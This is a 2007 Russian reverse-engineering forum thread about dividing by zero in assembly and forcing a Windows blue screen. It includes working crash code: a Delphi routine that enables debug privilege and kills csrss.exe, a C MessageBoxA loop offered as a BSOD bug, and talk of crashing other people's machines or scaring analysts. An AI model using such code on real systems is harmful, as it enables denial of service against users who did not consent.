Посл.ответ |
Сообщение |
Ранг: 13.0 (новичок) Активность: 0.02↘0 Статус: Участник
|
Создано: 25 сентября 2007 01:43 · Личное сообщение · #1
Насколько я знаю деление на ноль запрещено и приводит к bsod, но всё же мне интересно можно ли реализовать его на MASM32, если да, то как?
P.S. Как мне кажется в компиляторах есть ограничение которое не позволяет создать подобную программу...
| Сообщение посчитали полезным: |
|
 Ранг: 109.2 (ветеран) Активность: 0.09↘0 Статус: Участник Cardinal
|
Создано: 25 сентября 2007 01:55 · Поправил: tnt17 · Личное сообщение · #2
_FILIN_
В нулевом кольце -да, деление на ноль не обрабатываемое исключение.
_FILIN_ пишет:
P.S. Как мне кажется в компиляторах есть ограничение которое не позволяет создать подобную программу...
Все возможно, ограничений нет.
//edx:eax / ebx
_asm{
xor ebx,ebx
div ebx
}
----- – Почему ты работаешь по ночам ? – Так удобнее... В одну смену с чертями... | Сообщение посчитали полезным: |
 Ранг: 247.7 (наставник), 3thx Активность: 0.16↘0 Статус: Участник Халявщик
|
Создано: 25 сентября 2007 06:43 · Личное сообщение · #3
а зачем вообще специально делить на ноль?
----- Лень - это подсознательная мудрость | Сообщение посчитали полезным: |
 Ранг: 260.9 (наставник) Активность: 0.12↘0 Статус: Участник John Smith
|
Создано: 25 сентября 2007 07:11 · Личное сообщение · #4
новерное человек хочет вызвать бсод на чужой тачке =)
----- Недостаточно только получить знания:надо найти им приложение | Сообщение посчитали полезным: |
 Ранг: 110.0 (ветеран), 1thx Активность: 0.09↘0 Статус: Участник
|
Создано: 25 сентября 2007 07:26 · Личное сообщение · #5
Как можно поделить на ноль. Числа на ноль не делятся. Математику в Школе не изучали.
Зачем думать о деление на ноль зачем кодить такое (образно выражаясь):
a=5
b=0
if b<>0 then rezult=a/b
else rezult=0
print zezult
----- Никто не знает столько, сколько не знаю я | Сообщение посчитали полезным: |
Ранг: 500.5 (!), 8thx Активность: 0.23↘0 Статус: Участник
|
Создано: 25 сентября 2007 07:50 · Личное сообщение · #6
в ринг3 помойму нет кода, способного вызвать бсод, на уровне дров - никаких сложностей нет, вышеприведенный пример с div ebx реально сработает, или вызов какого нибудь прерывания без обработчика.
----- "Пусть видят, что мы не шутим. Стволы для понта, ножи для дела" Lock, Stock & Two Smoking Barrels | Сообщение посчитали полезным: |
 Ранг: 110.0 (ветеран), 1thx Активность: 0.09↘0 Статус: Участник
|
Создано: 25 сентября 2007 08:09 · Личное сообщение · #7 |
Ранг: 214.1 (наставник) Активность: 0.13↘0 Статус: Участник
|
Создано: 25 сентября 2007 08:44 · Личное сообщение · #8
очень часто встречается простой трюк с делением на ноль - как уход от новичков при отладке. перед делением на ноль описывается модуль который возьмет на себя управление при исключении. проще говоря он кинет программу на адрес положенный в стек.
| Сообщение посчитали полезным: |
Ранг: 160.1 (ветеран) Активность: 0.07↘0 Статус: Участник
|
Создано: 25 сентября 2007 09:22 · Личное сообщение · #9
_FILIN_ пишет:
Как мне кажется в компиляторах есть ограничение которое не позволяет создать подобную программу...
в msvc если написать напрямую int r = 5 / 0; или int b = 0; int c = f / b; то получим ошибку компиляции - попытка деления на ноль и проект не соберется. Приходится извращаться ;)
| Сообщение посчитали полезным: |
 Ранг: 247.7 (наставник), 3thx Активность: 0.16↘0 Статус: Участник Халявщик
|
Создано: 25 сентября 2007 09:51 · Личное сообщение · #10
да ладно нельзя на 3 кольце в синий экран выпасть! завершите системный процесс и кердык... вот че че а систему повесить это я умею...
----- Лень - это подсознательная мудрость | Сообщение посчитали полезным: |
 Ранг: 110.0 (ветеран), 1thx Активность: 0.09↘0 Статус: Участник
|
Создано: 25 сентября 2007 11:25 · Поправил: Satanael · Личное сообщение · #11
_FILIN_ пишет:
Как мне кажется в компиляторах есть ограничение которое не позволяет создать подобную программу...
в msvc если написать напрямую int r = 5 / 0; или int b = 0; int c = f / b; то получим ошибку компиляции - попытка деления на ноль и проект не соберется. Приходится извращаться ;)
Ха а в дельфи спокойно компилится такой код
Ошибка типа Runtime Error xxxxxxx выдаёт
P.S.
Я попробовал в VS2005 этот код, он компилится и запускается(соответственно прога "падает").
----- Никто не знает столько, сколько не знаю я | Сообщение посчитали полезным: |
 Ранг: 126.7 (ветеран) Активность: 0.14↘0 Статус: Участник #CCh
|
Создано: 25 сентября 2007 12:06 · Личное сообщение · #12
depler так росскажите, как вызвать бсод из ринг3, а то аффтар пока стеснецо спросить напрямую.. да и мне интересно)
*Ice^T changes topic to "как спровоцировать бсод из ринг3"
----- invoke OpenFire | Сообщение посчитали полезным: |
 Ранг: 156.2 (ветеран), 2thx Активность: 0.09↘0 Статус: Участник
|
Создано: 25 сентября 2007 12:07 · Личное сообщение · #13
_FILIN_
var n1, n2:integer;
result:real;
begin
try
n1:=7;
n2:=7;
Result:=Result/(n1 - n2)
except
<НУЖНЫЙ КОД>
end
| Сообщение посчитали полезным: |
Ранг: 36.7 (посетитель) Активность: 0.01↘0 Статус: Участник
|
Создано: 25 сентября 2007 12:15 · Поправил: Hill · Личное сообщение · #14
Satanael пишет:
Я попробовал в VS2005 этот код, он компилится и запускается(соответственно прога "падает")
нифига! уже давно проверено! Возвращает NaN. Так как совершенно справедливо считает результат деления на 0 бесконечностью... Хотя возможно патчи свою роль сыграли...
Пропустил прогу писанную в дельфе через софтайс никакого бсода не вызвало чето  ... Тупо показало Unhandled Exeption
| Сообщение посчитали полезным: |
 Ранг: 109.2 (ветеран) Активность: 0.09↘0 Статус: Участник Cardinal
|
Создано: 25 сентября 2007 12:17 · Личное сообщение · #15
Ice-T
Из 3го кольца - только обращаясь к кривым драйверам и криво перехваченным сервисам,api.
----- – Почему ты работаешь по ночам ? – Так удобнее... В одну смену с чертями... | Сообщение посчитали полезным: |
 Ранг: 126.7 (ветеран) Активность: 0.14↘0 Статус: Участник #CCh
|
Создано: 25 сентября 2007 12:19 · Личное сообщение · #16
Mavlyudov не сработает ваш код
----- invoke OpenFire | Сообщение посчитали полезным: |
 Ранг: 247.7 (наставник), 3thx Активность: 0.16↘0 Статус: Участник Халявщик
|
Создано: 25 сентября 2007 12:36 · Поправил: depler · Личное сообщение · #17
depler так росскажите, как вызвать бсод из ринг3, а то аффтар пока стеснецо спросить напрямую.. да и мне интересно)
*Ice^T changes topic to "как спровоцировать бсод из ринг3"
Рассказываю.
Включаете в своем процессе привилегию на отладку(как догадайтесь сами), потом все просто -
TerminateProcess для csrss.exe например - и привет BSOD!
----- Лень - это подсознательная мудрость | Сообщение посчитали полезным: |
Ранг: 251.3 (наставник), 81thx Активность: 0.14↘0.11 Статус: Участник
|
Создано: 25 сентября 2007 12:52 · Личное сообщение · #18
Hill пишет:
нифига! уже давно проверено! Возвращает NaN. Так как совершенно справедливо считает результат деления на 0 бесконечностью...
Это какой такой NaN при делении целых чисел?
NaN это вообще из сопроцессора понятие, и кстати бесконечность это либо +INF либо -INF, но никак не NaN
NaN это к примеру корень из -4.
| Сообщение посчитали полезным: |
Ранг: 36.7 (посетитель) Активность: 0.01↘0 Статус: Участник
|
Создано: 25 сентября 2007 13:09 · Личное сообщение · #19
cppasm пишет:
кстати бесконечность это либо +INF либо -INF
строка такая
First=0;
temp = 1 / (2 * First);
выделяю 1 / (2 * First)
вылетает хинт типа значение = Infinity
а temp в результате = NaN
| Сообщение посчитали полезным: |
 Ранг: 247.7 (наставник), 3thx Активность: 0.16↘0 Статус: Участник Халявщик
|
Создано: 25 сентября 2007 13:17 · Поправил: depler · Личное сообщение · #20
вот еще прикол, уязвимость - windows выпадает в синий экран.
на С:
#include <Windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char bug [] = "\??\C:";
for(int i = 0; i < 100; i ++)
::MessageBoxA(0, bug, bug, MB_SERVICE_NOTIFICATION);
return 0;
}
----- Лень - это подсознательная мудрость | Сообщение посчитали полезным: |
 Ранг: 109.2 (ветеран) Активность: 0.09↘0 Статус: Участник Cardinal
|
Создано: 25 сентября 2007 13:21 · Личное сообщение · #21
depler
Ее вроде уже пофиксили? Еще весной, если не ошибаюсь.
----- – Почему ты работаешь по ночам ? – Так удобнее... В одну смену с чертями... | Сообщение посчитали полезным: |
 Ранг: 61.7 (постоянный) Активность: 0.05↘0 Статус: Участник я
|
Создано: 25 сентября 2007 13:59 · Поправил: BaGiE · Личное сообщение · #22
depler
скомпиль второе у мну не работает =)
зато
procedure DoMakeBSOD();
var
TPPrev, TP: TTokenPrivileges;
Token: THandle;
dwRetLen: DWORD;
hSnapshoot: THandle;
pe32: TProcessEntry32;
begin
OpenProcessToken(DWORD(-1), TOKEN_QUERY or TOKEN_ADJUST_PRIVILEGES, Token);
TP.PrivilegeCount := 1;
LookupPrivilegeValue(nil, 'SeDebugPrivilege', TP.Privileges[0].LUID);
TP.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(Token, False, TP, SizeOf(TPPrev), TPPrev, dwRetLen);
hSnapshoot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe32.dwSize := SizeOf(TProcessEntry32);
if (Process32First(hSnapshoot, pe32)) then
repeat
if StrComp(PChar(LowerCase(pe32.szExeFile)), 'csrss.exe') = 0 then
TerminateProcess(OpenProcess(PROCESS_TERMINATE, False, pe32.th32ProcessID), 0);
until
not Process32Next(hSnapshoot, pe32);
end;
стабильно вызывает STOP 0x000000F4 =)))
надо еще на последнем UpdatePack для XP проверить. мб. там не работает уже
| Сообщение посчитали полезным: |
Ранг: 251.3 (наставник), 81thx Активность: 0.14↘0.11 Статус: Участник
|
Создано: 25 сентября 2007 14:06 · Личное сообщение · #23
Hill пишет:
вылетает хинт типа значение = Infinity
а temp в результате = NaN
Это ты в VS2005 под отладчиком смотрел?
А теперь собери релиз и посмотри что будет.
temp не изменится, будет исключение и все.
PS: BSOD'a ясен пень не будет
| Сообщение посчитали полезным: |
Ранг: 500.5 (!), 8thx Активность: 0.23↘0 Статус: Участник
|
Создано: 25 сентября 2007 14:32 · Личное сообщение · #24
BaGiE пишет:
надо еще на последнем UpdatePack для XP проверить. мб. там не работает уже
надо бы на висте проверить, она вроде чуть более защищена от таких трюков чем xp
----- "Пусть видят, что мы не шутим. Стволы для понта, ножи для дела" Lock, Stock & Two Smoking Barrels | Сообщение посчитали полезным: |
Ранг: 160.1 (ветеран) Активность: 0.07↘0 Статус: Участник
|
Создано: 25 сентября 2007 16:00 · Личное сообщение · #25
Satanael пишет:
Я попробовал в VS2005 этот код, он компилится и запускается(соответственно прога "падает").
int r = 5 / 0;
1>d:\1\qq\qq.cpp(9) : error C2124: divide or mod by zero
int f = 5;
int b = 0;
int c = f / b;
это компилится и падает.
| Сообщение посчитали полезным: |
Ранг: 13.0 (новичок) Активность: 0.02↘0 Статус: Участник
|
Создано: 25 сентября 2007 16:15 · Личное сообщение · #26
Всем спасибо за ответы, на вопрос о том зачем мне это? отвечу что есть знакомый который не верит в bsod, вот буду его разубеждать + это отличный вариант антиотладки...думаю многих новичков испугает сам факт того что комп вылетает после того как порылся в проге...как я понял реализовать такое возможно, но для этого надо немного извращатся ( например поставить джамп пока EDX не будет ноль...), правельно я понял?
P.S. Кстати реализую на асме...но примеры на с++ тоже пригодились
| Сообщение посчитали полезным: |
Ранг: 49.7 (посетитель) Активность: 0.02↘0 Статус: Участник
|
Создано: 25 сентября 2007 16:26 · Личное сообщение · #27
_FILIN_, ещё раз, BSOD из под третьего кольца невозможен. Только через дырки в винде или кривые драйвера. Так что деление на ноль, обращение к неверной странице памяти и прочее приведут лишь к падению приложения, но никак не к BSOD.
| Сообщение посчитали полезным: |
 Ранг: 2014.5 (!!!!), 1278thx Активность: 1.34↘0.25 Статус: Модератор retired
|
Создано: 25 сентября 2007 16:34 · Личное сообщение · #28
ViSoR дело говорит, из ринг3 бсод сделать нереально. А всякие извращения с csrss и прочими-дык это системные процессы и без них винда работать не может. А чо-то с этими процессами можно делать только из админа, а уж для админа сделать бсод много ума не надо. А с обычными правами без каких-то приватных сплоитов повышения привилегий или юза кривых драйверов синяка не получить.
| Сообщение посчитали полезным: |
Ранг: 13.0 (новичок) Активность: 0.02↘0 Статус: Участник
|
Создано: 25 сентября 2007 16:47 · Поправил: _FILIN_ · Личное сообщение · #29
как насчёт нулевого кольца? думаю там проблемм не будет...а вообще как-то странно, когда ненадо так bsod сам вылетает...когда надо то и не зделаеш...
P.S. Собственно мне ничего особенного не надо, просто показать бсод, так сказать наочно...
| Сообщение посчитали полезным: |
Ранг: 251.3 (наставник), 81thx Активность: 0.14↘0.11 Статус: Участник
|
Создано: 25 сентября 2007 17:13 · Личное сообщение · #30
_FILIN_ пишет:
как насчёт нулевого кольца?
Без прав админа если не считать драйвера и сплоиты ты в нулевое кольцо нге пролезеш.
_FILIN_ пишет:
Собственно мне ничего особенного не надо, просто показать бсод, так сказать наочно...
Ну дык напиши минимальный драйвер с делением на ноль.
| Сообщение посчитали полезным: |